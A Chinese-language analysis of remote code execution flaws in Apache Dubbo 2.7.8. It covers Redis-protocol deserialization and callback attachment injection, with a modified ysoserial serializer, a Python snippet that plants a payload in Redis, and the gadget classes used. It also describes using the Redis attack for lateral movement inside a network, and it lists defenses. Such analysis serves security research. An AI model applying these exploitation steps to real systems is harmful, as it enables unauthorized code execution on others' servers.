Dubbo 2.7.8多个远程代码执行漏洞
字数 1673 2025-08-18 17:33:25
Dubbo 2.7.8 远程代码执行漏洞分析与利用
1. Dubbo 简介
Apache Dubbo 是一个基于 Java 的高性能 RPC 框架,主要用于实现分布式服务调用。它支持多种协议,包括:
- Dubbo 协议(默认)
- HTTP 协议
- Redis 协议
- 其他协议
2. 历史漏洞回顾
2.1 CVE-2019-17564
漏洞描述:
当使用 HTTP 协议通信时,Dubbo 会接受来自消费者的 POST 请求并执行反序列化操作,由于缺乏安全校验,可导致任意代码执行。
影响版本:
Dubbo 使用 HTTP 协议的版本
修复方案:
将 POST 请求体的 handler 由"Java 原生反序列化"改为"JsonRpcServer"
2.2 CVE-2020-1948
漏洞描述:
Dubbo 2.7.6 及以下版本默认反序列化方式存在代码执行漏洞,攻击者可发送未经验证的服务名或方法名的 RPC 请求,配合恶意参数负载实现 RCE。
影响版本:
Dubbo ≤ 2.7.6
修复方案:
增加 getInvocationWithoutData 方法对恶意的 inv 对象进行置空操作
3. Redis 协议远程代码执行漏洞
3.1 漏洞原理
Dubbo 的 Redis 协议实现中,在处理 set 方法时,将 key 的内容作为字节流读取并进行反序列化处理,使用的是 JavaObjectInput(对 ObjectInputStream 的封装),没有进行任何过滤。
关键代码路径:
org.apache.dubbo.rpc.protocol.redis.RedisProtocol
3.2 漏洞利用条件
- 攻击者能够控制 Redis 服务器
- 目标系统使用 Dubbo 的 Redis 协议
- 目标系统依赖可被利用的第三方库(如 CommonsCollections)
3.3 漏洞利用步骤
-
构造恶意序列化 payload:
- 使用 ysoserial 生成 CommonsCollections4 的 payload
- 需要修改 ysoserial 使其在序列化对象前写入一个字节的 1
public static void serialize(final Object obj, final OutputStream out) throws IOException { final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeByte(1); // 绕过 Dubbo 的校验 objOut.writeObject(obj); } -
将 payload 写入 Redis:
import redis, binascii r = redis.StrictRedis(host='192.168.176.2', port=6379, db=0) payload = open('/tmp/payload', 'rb').read() r.set('rebeyond', payload) -
触发漏洞:
- 通过 Consumer 调用 get 方法获取恶意 key
3.4 攻击场景
主要用于内网横向移动:
- 攻击者控制内网 Redis 服务器
- 批量获取 Dubbo client 主机的权限
4. Callback 远程代码执行漏洞
4.1 漏洞原理
Dubbo 的回调机制存在安全问题:
DubboProtocol类中无条件执行logger.warn(未检查isWarnEnabled)inv对象未通过getInvocationWithoutData方法进行清洗- 通过控制
inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE)的值可进入危险分支
4.2 漏洞利用条件
- 能够控制 RPC 请求的 attachments
- 能够构造特定的方法调用
4.3 漏洞利用步骤
-
构造恶意请求:
- 在 attachments 中添加
"_isCallBackServiceInvoke":"true" - 使用
EchoService的$echo方法(接收 Object 参数)
- 在 attachments 中添加
-
构造 Gadget:
- 使用
com.sun.rowset.JdbcRowSetImpl和ToStringBean
- 使用
-
发送恶意请求触发漏洞
4.4 关键代码路径
-
注入 attachments:
// org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation if (args != null && args.length > 0) { for (int i = 0; i < args.length; i++) { if (args[i] instanceof Map) { @SuppressWarnings("unchecked") Map<String, Object> map = (Map<String, Object>) args[i]; if (map != null && map.size() > 0) { if (attachments == null) { attachments = new HashMap<String, Object>(); } attachments.putAll(map); } } } } -
触发漏洞的分支:
// org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol if (inv.getObjectAttachments() != null && inv.getObjectAttachments().containsKey(IS_CALLBACK_SERVICE_INVOKE) && Boolean.TRUE.toString().equals(inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE))) { // 漏洞触发点 }
5. 防御措施
- 升级到最新版本的 Dubbo
- 限制 Dubbo 服务的网络访问
- 避免使用不安全的协议(如 HTTP、Redis)
- 实施严格的输入验证
- 移除不必要的依赖(如 CommonsCollections)